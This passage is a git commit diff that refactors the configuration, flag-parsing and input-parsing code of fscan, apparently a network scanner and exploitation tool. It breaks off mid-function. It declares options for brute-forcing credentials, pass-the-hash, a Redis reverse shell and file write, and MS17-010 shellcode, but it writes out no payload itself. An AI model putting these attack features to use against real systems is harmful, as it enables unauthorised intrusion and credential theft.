mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-07-13 21:02:44 +08:00
refactor: 大量重构
This commit is contained in:
parent
a2c56ab106
commit
77705118d5
146
Common/Config.go
146
Common/Config.go
@ -864,84 +864,98 @@ type PocInfo struct {
|
|||||||
}
|
}
|
||||||
|
|
||||||
var (
|
var (
|
||||||
// 目标配置
|
// =========================================================
|
||||||
Ports string
|
// 扫描目标配置
|
||||||
ExcludePorts string // 原NoPorts
|
// =========================================================
|
||||||
ExcludeHosts string
|
Ports string // 要扫描的端口列表,如"80,443,8080"
|
||||||
AddPorts string // 原PortAdd
|
ExcludePorts string // 要排除的端口列表
|
||||||
|
ExcludeHosts string // 要排除的主机列表
|
||||||
|
AddPorts string // 额外添加的端口列表
|
||||||
|
HostPort []string // 主机:端口格式的目标列表
|
||||||
|
|
||||||
// 认证配置
|
// =========================================================
|
||||||
Username string
|
// 认证与凭据配置
|
||||||
Password string
|
// =========================================================
|
||||||
Domain string
|
Username string // 用于认证的用户名
|
||||||
SshKeyPath string // 原SshKey
|
Password string // 用于认证的密码
|
||||||
AddUsers string // 原UserAdd
|
AddUsers string // 额外添加的用户名列表
|
||||||
AddPasswords string // 原PassAdd
|
AddPasswords string // 额外添加的密码列表
|
||||||
|
|
||||||
// 扫描配置
|
// 特定服务认证
|
||||||
ScanMode string // 原Scantype
|
Domain string // Active Directory/SMB域名
|
||||||
ThreadNum int // 原Threads
|
HashValue string // 用于哈希认证的单个哈希值
|
||||||
ModuleThreadNum int = 10
|
HashValues []string // 哈希值列表
|
||||||
Timeout int64 = 3
|
HashBytes [][]byte // 二进制格式的哈希值列表
|
||||||
GlobalTimeout int64 = 180
|
HashFile string // 包含哈希值的文件路径
|
||||||
LiveTop int
|
SshKeyPath string // SSH私钥文件路径
|
||||||
DisablePing bool // 原NoPing
|
|
||||||
UsePing bool // 原Ping
|
|
||||||
Command string
|
|
||||||
SkipFingerprint bool
|
|
||||||
|
|
||||||
// 文件配置
|
// =========================================================
|
||||||
HostsFile string // 原HostFile
|
// 扫描控制配置
|
||||||
UsersFile string // 原Userfile
|
// =========================================================
|
||||||
PasswordsFile string // 原Passfile
|
ScanMode string // 扫描模式或指定的插件列表
|
||||||
HashFile string // 原Hashfile
|
ThreadNum int // 并发扫描线程数
|
||||||
PortsFile string // 原PortFile
|
ModuleThreadNum int // 模块内部线程数
|
||||||
|
Timeout int64 // 单个扫描操作超时时间(秒)
|
||||||
|
GlobalTimeout int64 // 整体扫描超时时间(秒)
|
||||||
|
LiveTop int // 显示的存活主机排名数量
|
||||||
|
DisablePing bool // 是否禁用主机存活性检测
|
||||||
|
UsePing bool // 是否使用ICMP Ping检测主机存活
|
||||||
|
EnableFingerprint bool // 是否跳过服务指纹识别
|
||||||
|
LocalMode bool // 是否启用本地信息收集模式
|
||||||
|
|
||||||
// Web配置
|
// =========================================================
|
||||||
TargetURL string // 原URL
|
// 输入文件配置
|
||||||
URLsFile string // 原UrlFile
|
// =========================================================
|
||||||
URLs []string // 原Urls
|
HostsFile string // 包含目标主机的文件路径
|
||||||
WebTimeout int64 = 5
|
UsersFile string // 包含用户名列表的文件路径
|
||||||
HttpProxy string // 原Proxy
|
PasswordsFile string // 包含密码列表的文件路径
|
||||||
Socks5Proxy string
|
PortsFile string // 包含端口列表的文件路径
|
||||||
|
|
||||||
LocalMode bool // -local 本地模式
|
// =========================================================
|
||||||
|
// Web扫描配置
|
||||||
|
// =========================================================
|
||||||
|
TargetURL string // 单个目标URL
|
||||||
|
URLsFile string // 包含URL列表的文件路径
|
||||||
|
URLs []string // 解析后的URL目标列表
|
||||||
|
WebTimeout int64 // Web请求超时时间(秒),默认5秒
|
||||||
|
HttpProxy string // HTTP代理地址
|
||||||
|
Socks5Proxy string // SOCKS5代理地址
|
||||||
|
|
||||||
|
// =========================================================
|
||||||
|
// POC与漏洞利用配置
|
||||||
|
// =========================================================
|
||||||
// POC配置
|
// POC配置
|
||||||
PocPath string
|
PocPath string // POC脚本路径
|
||||||
Pocinfo PocInfo
|
Pocinfo PocInfo // POC详细信息结构
|
||||||
|
|
||||||
// Redis配置
|
// Redis利用
|
||||||
RedisFile string
|
RedisFile string // Redis利用目标文件
|
||||||
RedisShell string
|
RedisShell string // Redis反弹Shell命令
|
||||||
DisableRedis bool // 原Noredistest
|
DisableRedis bool // 是否禁用Redis利用测试
|
||||||
RedisWritePath string
|
RedisWritePath string // Redis文件写入路径
|
||||||
RedisWriteContent string
|
RedisWriteContent string // Redis文件写入内容
|
||||||
RedisWriteFile string
|
RedisWriteFile string // Redis写入的源文件
|
||||||
|
|
||||||
// 爆破配置
|
// 其他漏洞利用
|
||||||
DisableBrute bool // 原IsBrute
|
Shellcode string // 用于MS17010等漏洞利用的Shellcode
|
||||||
//BruteThreads int // 原BruteThread
|
|
||||||
MaxRetries int // 最大重试次数
|
|
||||||
|
|
||||||
// 其他配置
|
// =========================================================
|
||||||
RemotePath string // 原Path
|
// 暴力破解控制
|
||||||
HashValue string // 原Hash
|
// =========================================================
|
||||||
HashValues []string // 原Hashs
|
DisableBrute bool // 是否禁用暴力破解模块
|
||||||
HashBytes [][]byte
|
MaxRetries int // 连接失败最大重试次数
|
||||||
HostPort []string
|
|
||||||
Shellcode string // 原SC
|
|
||||||
EnableWmi bool // 原IsWmi
|
|
||||||
|
|
||||||
// 输出配置
|
// =========================================================
|
||||||
DisableSave bool // 禁止保存结果
|
// 输出与显示配置
|
||||||
Silent bool // 静默模式
|
// =========================================================
|
||||||
NoColor bool // 禁用彩色输出
|
DisableSave bool // 是否禁止保存扫描结果
|
||||||
JsonFormat bool // JSON格式输出
|
Silent bool // 是否启用静默模式
|
||||||
|
NoColor bool // 是否禁用彩色输出
|
||||||
LogLevel string // 日志输出级别
|
LogLevel string // 日志输出级别
|
||||||
ShowProgress bool // 是否显示进度条
|
ShowProgress bool // 是否显示进度条
|
||||||
|
ShowScanPlan bool // 是否显示扫描计划详情
|
||||||
Language string // 语言
|
SlowLogOutput bool // 是否启用慢速日志输出
|
||||||
|
Language string // 界面语言设置
|
||||||
)
|
)
|
||||||
|
|
||||||
var (
|
var (
|
||||||
@ -950,7 +964,5 @@ var (
|
|||||||
DnsLog bool
|
DnsLog bool
|
||||||
PocNum int
|
PocNum int
|
||||||
PocFull bool
|
PocFull bool
|
||||||
CeyeDomain string
|
|
||||||
ApiKey string
|
|
||||||
Cookie string
|
Cookie string
|
||||||
)
|
)
|
||||||
|
148
Common/Flag.go
148
Common/Flag.go
@ -5,7 +5,6 @@ import (
|
|||||||
"fmt"
|
"fmt"
|
||||||
"github.com/fatih/color"
|
"github.com/fatih/color"
|
||||||
"os"
|
"os"
|
||||||
"runtime"
|
|
||||||
"strings"
|
"strings"
|
||||||
)
|
)
|
||||||
|
|
||||||
@ -56,40 +55,50 @@ func Banner() {
|
|||||||
c.Printf(" Fscan Version: %s\n\n", version)
|
c.Printf(" Fscan Version: %s\n\n", version)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Flag 解析命令行参数并配置扫描选项
|
||||||
func Flag(Info *HostInfo) {
|
func Flag(Info *HostInfo) {
|
||||||
Banner()
|
Banner()
|
||||||
|
|
||||||
// 目标配置
|
// ═════════════════════════════════════════════════
|
||||||
|
// 目标配置参数
|
||||||
|
// ═════════════════════════════════════════════════
|
||||||
flag.StringVar(&Info.Host, "h", "", GetText("flag_host"))
|
flag.StringVar(&Info.Host, "h", "", GetText("flag_host"))
|
||||||
flag.StringVar(&ExcludeHosts, "eh", "", GetText("flag_exclude_hosts"))
|
flag.StringVar(&ExcludeHosts, "eh", "", GetText("flag_exclude_hosts"))
|
||||||
flag.StringVar(&Ports, "p", MainPorts, GetText("flag_ports"))
|
flag.StringVar(&Ports, "p", MainPorts, GetText("flag_ports"))
|
||||||
|
flag.StringVar(&HostsFile, "hf", "", GetText("flag_hosts_file"))
|
||||||
|
flag.StringVar(&PortsFile, "pf", "", GetText("flag_ports_file"))
|
||||||
|
|
||||||
// 认证配置
|
// ═════════════════════════════════════════════════
|
||||||
flag.StringVar(&AddUsers, "usera", "", GetText("flag_add_users"))
|
// 扫描控制参数
|
||||||
flag.StringVar(&AddPasswords, "pwda", "", GetText("flag_add_passwords"))
|
// ═════════════════════════════════════════════════
|
||||||
flag.StringVar(&Username, "user", "", GetText("flag_username"))
|
|
||||||
flag.StringVar(&Password, "pwd", "", GetText("flag_password"))
|
|
||||||
flag.StringVar(&Domain, "domain", "", GetText("flag_domain"))
|
|
||||||
flag.StringVar(&SshKeyPath, "sshkey", "", GetText("flag_ssh_key"))
|
|
||||||
|
|
||||||
// 扫描配置
|
|
||||||
flag.StringVar(&ScanMode, "m", "All", GetText("flag_scan_mode"))
|
flag.StringVar(&ScanMode, "m", "All", GetText("flag_scan_mode"))
|
||||||
flag.IntVar(&ThreadNum, "t", 60, GetText("flag_thread_num"))
|
flag.IntVar(&ThreadNum, "t", 10, GetText("flag_thread_num"))
|
||||||
flag.Int64Var(&Timeout, "time", 3, GetText("flag_timeout"))
|
flag.Int64Var(&Timeout, "time", 3, GetText("flag_timeout"))
|
||||||
|
flag.IntVar(&ModuleThreadNum, "mt", 10, GetText("flag_module_thread_num"))
|
||||||
|
flag.Int64Var(&GlobalTimeout, "gt", 180, GetText("flag_global_timeout"))
|
||||||
flag.IntVar(&LiveTop, "top", 10, GetText("flag_live_top"))
|
flag.IntVar(&LiveTop, "top", 10, GetText("flag_live_top"))
|
||||||
flag.BoolVar(&DisablePing, "np", false, GetText("flag_disable_ping"))
|
flag.BoolVar(&DisablePing, "np", false, GetText("flag_disable_ping"))
|
||||||
flag.BoolVar(&UsePing, "ping", false, GetText("flag_use_ping"))
|
flag.BoolVar(&UsePing, "ping", false, GetText("flag_use_ping"))
|
||||||
flag.StringVar(&Command, "c", "", GetText("flag_command"))
|
flag.BoolVar(&EnableFingerprint, "fingerprint", false, GetText("flag_enable_fingerprint"))
|
||||||
flag.BoolVar(&SkipFingerprint, "skip", false, GetText("flag_skip_fingerprint"))
|
flag.BoolVar(&LocalMode, "local", false, GetText("flag_local_mode"))
|
||||||
|
|
||||||
// 文件配置
|
// ═════════════════════════════════════════════════
|
||||||
flag.StringVar(&HostsFile, "hf", "", GetText("flag_hosts_file"))
|
// 认证与凭据参数
|
||||||
|
// ═════════════════════════════════════════════════
|
||||||
|
flag.StringVar(&Username, "user", "", GetText("flag_username"))
|
||||||
|
flag.StringVar(&Password, "pwd", "", GetText("flag_password"))
|
||||||
|
flag.StringVar(&AddUsers, "usera", "", GetText("flag_add_users"))
|
||||||
|
flag.StringVar(&AddPasswords, "pwda", "", GetText("flag_add_passwords"))
|
||||||
flag.StringVar(&UsersFile, "userf", "", GetText("flag_users_file"))
|
flag.StringVar(&UsersFile, "userf", "", GetText("flag_users_file"))
|
||||||
flag.StringVar(&PasswordsFile, "pwdf", "", GetText("flag_passwords_file"))
|
flag.StringVar(&PasswordsFile, "pwdf", "", GetText("flag_passwords_file"))
|
||||||
flag.StringVar(&HashFile, "hashf", "", GetText("flag_hash_file"))
|
flag.StringVar(&HashFile, "hashf", "", GetText("flag_hash_file"))
|
||||||
flag.StringVar(&PortsFile, "portf", "", GetText("flag_ports_file"))
|
flag.StringVar(&HashValue, "hash", "", GetText("flag_hash_value"))
|
||||||
|
flag.StringVar(&Domain, "domain", "", GetText("flag_domain")) // SMB扫描用
|
||||||
|
flag.StringVar(&SshKeyPath, "sshkey", "", GetText("flag_ssh_key")) // SSH扫描用
|
||||||
|
|
||||||
// Web配置
|
// ═════════════════════════════════════════════════
|
||||||
|
// Web扫描参数
|
||||||
|
// ═════════════════════════════════════════════════
|
||||||
flag.StringVar(&TargetURL, "u", "", GetText("flag_target_url"))
|
flag.StringVar(&TargetURL, "u", "", GetText("flag_target_url"))
|
||||||
flag.StringVar(&URLsFile, "uf", "", GetText("flag_urls_file"))
|
flag.StringVar(&URLsFile, "uf", "", GetText("flag_urls_file"))
|
||||||
flag.StringVar(&Cookie, "cookie", "", GetText("flag_cookie"))
|
flag.StringVar(&Cookie, "cookie", "", GetText("flag_cookie"))
|
||||||
@ -97,55 +106,112 @@ func Flag(Info *HostInfo) {
|
|||||||
flag.StringVar(&HttpProxy, "proxy", "", GetText("flag_http_proxy"))
|
flag.StringVar(&HttpProxy, "proxy", "", GetText("flag_http_proxy"))
|
||||||
flag.StringVar(&Socks5Proxy, "socks5", "", GetText("flag_socks5_proxy"))
|
flag.StringVar(&Socks5Proxy, "socks5", "", GetText("flag_socks5_proxy"))
|
||||||
|
|
||||||
// 本地扫描配置
|
// ═════════════════════════════════════════════════
|
||||||
flag.BoolVar(&LocalMode, "local", false, GetText("flag_local_mode"))
|
// POC测试参数
|
||||||
|
// ═════════════════════════════════════════════════
|
||||||
// POC配置
|
|
||||||
flag.StringVar(&PocPath, "pocpath", "", GetText("flag_poc_path"))
|
flag.StringVar(&PocPath, "pocpath", "", GetText("flag_poc_path"))
|
||||||
flag.StringVar(&Pocinfo.PocName, "pocname", "", GetText("flag_poc_name"))
|
flag.StringVar(&Pocinfo.PocName, "pocname", "", GetText("flag_poc_name"))
|
||||||
flag.BoolVar(&PocFull, "full", false, GetText("flag_poc_full"))
|
flag.BoolVar(&PocFull, "full", false, GetText("flag_poc_full"))
|
||||||
flag.BoolVar(&DnsLog, "dns", false, GetText("flag_dns_log"))
|
flag.BoolVar(&DnsLog, "dns", false, GetText("flag_dns_log"))
|
||||||
flag.IntVar(&PocNum, "num", 20, GetText("flag_poc_num"))
|
flag.IntVar(&PocNum, "num", 20, GetText("flag_poc_num"))
|
||||||
|
|
||||||
// Redis利用配置
|
// ═════════════════════════════════════════════════
|
||||||
|
// Redis利用参数
|
||||||
|
// ═════════════════════════════════════════════════
|
||||||
flag.StringVar(&RedisFile, "rf", "", GetText("flag_redis_file"))
|
flag.StringVar(&RedisFile, "rf", "", GetText("flag_redis_file"))
|
||||||
flag.StringVar(&RedisShell, "rs", "", GetText("flag_redis_shell"))
|
flag.StringVar(&RedisShell, "rs", "", GetText("flag_redis_shell"))
|
||||||
flag.BoolVar(&DisableRedis, "noredis", false, GetText("flag_disable_redis"))
|
flag.BoolVar(&DisableRedis, "noredis", false, GetText("flag_disable_redis"))
|
||||||
// Redis任意文件写入配置
|
|
||||||
flag.StringVar(&RedisWritePath, "rwp", "", GetText("flag_redis_write_path"))
|
flag.StringVar(&RedisWritePath, "rwp", "", GetText("flag_redis_write_path"))
|
||||||
flag.StringVar(&RedisWriteContent, "rwc", "", GetText("flag_redis_write_content"))
|
flag.StringVar(&RedisWriteContent, "rwc", "", GetText("flag_redis_write_content"))
|
||||||
flag.StringVar(&RedisWriteFile, "rwf", "", GetText("flag_redis_write_file"))
|
flag.StringVar(&RedisWriteFile, "rwf", "", GetText("flag_redis_write_file"))
|
||||||
|
|
||||||
// 暴力破解配置
|
// ═════════════════════════════════════════════════
|
||||||
|
// 暴力破解控制参数
|
||||||
|
// ═════════════════════════════════════════════════
|
||||||
flag.BoolVar(&DisableBrute, "nobr", false, GetText("flag_disable_brute"))
|
flag.BoolVar(&DisableBrute, "nobr", false, GetText("flag_disable_brute"))
|
||||||
flag.IntVar(&MaxRetries, "retry", 3, GetText("flag_max_retries"))
|
flag.IntVar(&MaxRetries, "retry", 3, GetText("flag_max_retries"))
|
||||||
|
|
||||||
// 其他配置
|
// ═════════════════════════════════════════════════
|
||||||
flag.StringVar(&RemotePath, "path", "", GetText("flag_remote_path"))
|
// 输出与显示控制参数
|
||||||
flag.StringVar(&HashValue, "hash", "", GetText("flag_hash_value"))
|
// ═════════════════════════════════════════════════
|
||||||
flag.StringVar(&Shellcode, "sc", "", GetText("flag_shellcode"))
|
|
||||||
flag.BoolVar(&EnableWmi, "wmi", false, GetText("flag_enable_wmi"))
|
|
||||||
|
|
||||||
// 输出配置
|
|
||||||
flag.StringVar(&Outputfile, "o", "result.txt", GetText("flag_output_file"))
|
flag.StringVar(&Outputfile, "o", "result.txt", GetText("flag_output_file"))
|
||||||
flag.StringVar(&OutputFormat, "f", "txt", GetText("flag_output_format"))
|
flag.StringVar(&OutputFormat, "f", "txt", GetText("flag_output_format"))
|
||||||
flag.BoolVar(&DisableSave, "no", false, GetText("flag_disable_save"))
|
flag.BoolVar(&DisableSave, "no", false, GetText("flag_disable_save"))
|
||||||
flag.BoolVar(&Silent, "silent", false, GetText("flag_silent_mode"))
|
flag.BoolVar(&Silent, "silent", false, GetText("flag_silent_mode"))
|
||||||
flag.BoolVar(&NoColor, "nocolor", false, GetText("flag_no_color"))
|
flag.BoolVar(&NoColor, "nocolor", false, GetText("flag_no_color"))
|
||||||
flag.BoolVar(&JsonFormat, "json", false, GetText("flag_json_format"))
|
|
||||||
flag.StringVar(&LogLevel, "log", LogLevelSuccess, GetText("flag_log_level"))
|
flag.StringVar(&LogLevel, "log", LogLevelSuccess, GetText("flag_log_level"))
|
||||||
flag.BoolVar(&ShowProgress, "pg", false, GetText("flag_show_progress"))
|
flag.BoolVar(&ShowProgress, "pg", false, GetText("flag_show_progress"))
|
||||||
|
flag.BoolVar(&ShowScanPlan, "sp", false, GetText("flag_show_scan_plan"))
|
||||||
|
flag.BoolVar(&SlowLogOutput, "slow", false, GetText("flag_slow_log_output"))
|
||||||
|
|
||||||
|
// ═════════════════════════════════════════════════
|
||||||
|
// 其他参数
|
||||||
|
// ═════════════════════════════════════════════════
|
||||||
|
flag.StringVar(&Shellcode, "sc", "", GetText("flag_shellcode"))
|
||||||
flag.StringVar(&Language, "lang", "zh", GetText("flag_language"))
|
flag.StringVar(&Language, "lang", "zh", GetText("flag_language"))
|
||||||
|
|
||||||
envArgsString := os.Getenv("FS_ARGS")
|
// 解析命令行参数
|
||||||
if envArgsString != "" && runtime.GOOS != "windows" {
|
parseCommandLineArgs()
|
||||||
envArgs := strings.Split(envArgsString, " ")
|
|
||||||
flag.CommandLine.Parse(envArgs)
|
|
||||||
os.Unsetenv("FS_ARGS")
|
|
||||||
} else {
|
|
||||||
flag.Parse()
|
|
||||||
}
|
|
||||||
|
|
||||||
|
// 设置语言
|
||||||
SetLanguage()
|
SetLanguage()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// parseCommandLineArgs 处理来自环境变量和命令行的参数
|
||||||
|
func parseCommandLineArgs() {
|
||||||
|
// 首先检查环境变量中的参数
|
||||||
|
envArgsString := os.Getenv("FS_ARGS")
|
||||||
|
if envArgsString != "" {
|
||||||
|
// 解析环境变量参数 (跨平台支持)
|
||||||
|
envArgs, err := parseEnvironmentArgs(envArgsString)
|
||||||
|
if err == nil && len(envArgs) > 0 {
|
||||||
|
flag.CommandLine.Parse(envArgs)
|
||||||
|
os.Unsetenv("FS_ARGS") // 使用后清除环境变量
|
||||||
|
return
|
||||||
|
}
|
||||||
|
// 如果环境变量解析失败,继续使用命令行参数
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解析命令行参数
|
||||||
|
flag.Parse()
|
||||||
|
}
|
||||||
|
|
||||||
|
// parseEnvironmentArgs 安全地解析环境变量中的参数
|
||||||
|
func parseEnvironmentArgs(argsString string) ([]string, error) {
|
||||||
|
if strings.TrimSpace(argsString) == "" {
|
||||||
|
return nil, fmt.Errorf("empty arguments string")
|
||||||
|
}
|
||||||
|
|
||||||
|
// 使用更安全的参数分割方法
|
||||||
|
var args []string
|
||||||
|
var currentArg strings.Builder
|
||||||
|
inQuote := false
|
||||||
|
quoteChar := ' '
|
||||||
|
|
||||||
|
for _, char := range argsString {
|
||||||
|
switch {
|
||||||
|
case char == '"' || char == '\'':
|
||||||
|
if inQuote && char == quoteChar {
|
||||||
|
inQuote = false
|
||||||
|
} else if !inQuote {
|
||||||
|
inQuote = true
|
||||||
|
quoteChar = char
|
||||||
|
} else {
|
||||||
|
currentArg.WriteRune(char)
|
||||||
|
}
|
||||||
|
case char == ' ' && !inQuote:
|
||||||
|
if currentArg.Len() > 0 {
|
||||||
|
args = append(args, currentArg.String())
|
||||||
|
currentArg.Reset()
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
currentArg.WriteRune(char)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if currentArg.Len() > 0 {
|
||||||
|
args = append(args, currentArg.String())
|
||||||
|
}
|
||||||
|
|
||||||
|
return args, nil
|
||||||
|
}
|
||||||
|
@ -122,8 +122,10 @@ func printLog(entry *LogEntry) {
|
|||||||
fmt.Println(logMsg)
|
fmt.Println(logMsg)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 等待日志输出完成
|
// 根据慢速输出设置决定是否添加延迟
|
||||||
|
if SlowLogOutput {
|
||||||
time.Sleep(50 * time.Millisecond)
|
time.Sleep(50 * time.Millisecond)
|
||||||
|
}
|
||||||
|
|
||||||
// 重新显示进度条
|
// 重新显示进度条
|
||||||
if ProgressBar != nil {
|
if ProgressBar != nil {
|
||||||
|
350
Common/Parse.go
350
Common/Parse.go
@ -10,25 +10,37 @@ import (
|
|||||||
"strings"
|
"strings"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
// Parse 配置解析的总入口函数
|
||||||
|
// 协调调用各解析子函数,完成完整的配置处理流程
|
||||||
func Parse(Info *HostInfo) error {
|
func Parse(Info *HostInfo) error {
|
||||||
ParseUser()
|
// 按照依赖顺序解析各类配置
|
||||||
ParsePass(Info)
|
if err := ParseUser(); err != nil {
|
||||||
if err := ParseInput(Info); err != nil {
|
return fmt.Errorf("用户名解析错误: %v", err)
|
||||||
return err
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if err := ParsePass(Info); err != nil {
|
||||||
|
return fmt.Errorf("密码与目标解析错误: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := ParseInput(Info); err != nil {
|
||||||
|
return fmt.Errorf("输入参数解析错误: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// ParseUser 解析用户名配置
|
// ParseUser 解析用户名配置
|
||||||
|
// 处理直接指定的用户名和从文件加载的用户名,更新全局用户字典
|
||||||
func ParseUser() error {
|
func ParseUser() error {
|
||||||
// 如果未指定用户名和用户名文件,直接返回
|
// 如果未指定用户名和用户名文件,无需处理
|
||||||
if Username == "" && UsersFile == "" {
|
if Username == "" && UsersFile == "" {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 收集所有用户名
|
||||||
var usernames []string
|
var usernames []string
|
||||||
|
|
||||||
// 处理直接指定的用户名列表
|
// 处理命令行参数指定的用户名列表
|
||||||
if Username != "" {
|
if Username != "" {
|
||||||
usernames = strings.Split(Username, ",")
|
usernames = strings.Split(Username, ",")
|
||||||
LogInfo(GetText("no_username_specified", len(usernames)))
|
LogInfo(GetText("no_username_specified", len(usernames)))
|
||||||
@ -36,25 +48,25 @@ func ParseUser() error {
|
|||||||
|
|
||||||
// 从文件加载用户名列表
|
// 从文件加载用户名列表
|
||||||
if UsersFile != "" {
|
if UsersFile != "" {
|
||||||
users, err := Readfile(UsersFile)
|
fileUsers, err := ReadFileLines(UsersFile)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("读取用户名文件失败: %v", err)
|
return fmt.Errorf("读取用户名文件失败: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 过滤空用户名
|
// 添加非空用户名
|
||||||
for _, user := range users {
|
for _, user := range fileUsers {
|
||||||
if user != "" {
|
if user != "" {
|
||||||
usernames = append(usernames, user)
|
usernames = append(usernames, user)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
LogInfo(GetText("load_usernames_from_file", len(users)))
|
LogInfo(GetText("load_usernames_from_file", len(fileUsers)))
|
||||||
}
|
}
|
||||||
|
|
||||||
// 去重处理
|
// 去重处理
|
||||||
usernames = RemoveDuplicate(usernames)
|
usernames = RemoveDuplicate(usernames)
|
||||||
LogInfo(GetText("total_usernames", len(usernames)))
|
LogInfo(GetText("total_usernames", len(usernames)))
|
||||||
|
|
||||||
// 更新用户字典
|
// 更新所有字典的用户名列表
|
||||||
for name := range Userdict {
|
for name := range Userdict {
|
||||||
Userdict[name] = usernames
|
Userdict[name] = usernames
|
||||||
}
|
}
|
||||||
@ -62,10 +74,37 @@ func ParseUser() error {
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// ParsePass 解析密码、哈希值、URL和端口配置
|
// ParsePass 解析密码、URL、主机和端口等目标配置
|
||||||
|
// 处理多种输入源的配置,并更新全局目标信息
|
||||||
func ParsePass(Info *HostInfo) error {
|
func ParsePass(Info *HostInfo) error {
|
||||||
// 处理直接指定的密码列表
|
// 处理密码配置
|
||||||
|
parsePasswords()
|
||||||
|
|
||||||
|
// 处理哈希值配置
|
||||||
|
parseHashes()
|
||||||
|
|
||||||
|
// 处理URL配置
|
||||||
|
parseURLs()
|
||||||
|
|
||||||
|
// 处理主机配置
|
||||||
|
if err := parseHosts(Info); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
// 处理端口配置
|
||||||
|
if err := parsePorts(); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// parsePasswords 解析密码配置
|
||||||
|
// 处理直接指定的密码和从文件加载的密码
|
||||||
|
func parsePasswords() {
|
||||||
var pwdList []string
|
var pwdList []string
|
||||||
|
|
||||||
|
// 处理命令行参数指定的密码列表
|
||||||
if Password != "" {
|
if Password != "" {
|
||||||
passes := strings.Split(Password, ",")
|
passes := strings.Split(Password, ",")
|
||||||
for _, pass := range passes {
|
for _, pass := range passes {
|
||||||
@ -79,10 +118,12 @@ func ParsePass(Info *HostInfo) error {
|
|||||||
|
|
||||||
// 从文件加载密码列表
|
// 从文件加载密码列表
|
||||||
if PasswordsFile != "" {
|
if PasswordsFile != "" {
|
||||||
passes, err := Readfile(PasswordsFile)
|
passes, err := ReadFileLines(PasswordsFile)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("读取密码文件失败: %v", err)
|
LogError(fmt.Sprintf("读取密码文件失败: %v", err))
|
||||||
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
for _, pass := range passes {
|
for _, pass := range passes {
|
||||||
if pass != "" {
|
if pass != "" {
|
||||||
pwdList = append(pwdList, pass)
|
pwdList = append(pwdList, pass)
|
||||||
@ -91,12 +132,20 @@ func ParsePass(Info *HostInfo) error {
|
|||||||
Passwords = pwdList
|
Passwords = pwdList
|
||||||
LogInfo(GetText("load_passwords_from_file", len(passes)))
|
LogInfo(GetText("load_passwords_from_file", len(passes)))
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// parseHashes 解析哈希值配置
|
||||||
|
// 验证并处理哈希文件中的哈希值
|
||||||
|
func parseHashes() {
|
||||||
// 处理哈希文件
|
// 处理哈希文件
|
||||||
if HashFile != "" {
|
if HashFile == "" {
|
||||||
hashes, err := Readfile(HashFile)
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
hashes, err := ReadFileLines(HashFile)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("读取哈希文件失败: %v", err)
|
LogError(fmt.Sprintf("读取哈希文件失败: %v", err))
|
||||||
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
validCount := 0
|
validCount := 0
|
||||||
@ -104,6 +153,7 @@ func ParsePass(Info *HostInfo) error {
|
|||||||
if line == "" {
|
if line == "" {
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
|
// 验证哈希长度(MD5哈希为32位)
|
||||||
if len(line) == 32 {
|
if len(line) == 32 {
|
||||||
HashValues = append(HashValues, line)
|
HashValues = append(HashValues, line)
|
||||||
validCount++
|
validCount++
|
||||||
@ -112,88 +162,122 @@ func ParsePass(Info *HostInfo) error {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
LogInfo(GetText("load_valid_hashes", validCount))
|
LogInfo(GetText("load_valid_hashes", validCount))
|
||||||
}
|
}
|
||||||
|
|
||||||
// 处理直接指定的URL列表
|
// parseURLs 解析URL目标配置
|
||||||
|
// 处理命令行和文件指定的URL列表,去重后更新全局URL列表
|
||||||
|
func parseURLs() {
|
||||||
|
urlMap := make(map[string]struct{})
|
||||||
|
|
||||||
|
// 处理命令行参数指定的URL列表
|
||||||
if TargetURL != "" {
|
if TargetURL != "" {
|
||||||
urls := strings.Split(TargetURL, ",")
|
urls := strings.Split(TargetURL, ",")
|
||||||
tmpUrls := make(map[string]struct{})
|
|
||||||
for _, url := range urls {
|
for _, url := range urls {
|
||||||
if url != "" {
|
if url != "" {
|
||||||
if _, ok := tmpUrls[url]; !ok {
|
urlMap[url] = struct{}{}
|
||||||
tmpUrls[url] = struct{}{}
|
|
||||||
URLs = append(URLs, url)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
LogInfo(GetText("load_urls", len(URLs)))
|
|
||||||
}
|
|
||||||
|
|
||||||
// 从文件加载URL列表
|
// 从文件加载URL列表
|
||||||
if URLsFile != "" {
|
if URLsFile != "" {
|
||||||
urls, err := Readfile(URLsFile)
|
urls, err := ReadFileLines(URLsFile)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("读取URL文件失败: %v", err)
|
LogError(fmt.Sprintf("读取URL文件失败: %v", err))
|
||||||
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
tmpUrls := make(map[string]struct{})
|
|
||||||
for _, url := range urls {
|
for _, url := range urls {
|
||||||
if url != "" {
|
if url != "" {
|
||||||
if _, ok := tmpUrls[url]; !ok {
|
urlMap[url] = struct{}{}
|
||||||
tmpUrls[url] = struct{}{}
|
|
||||||
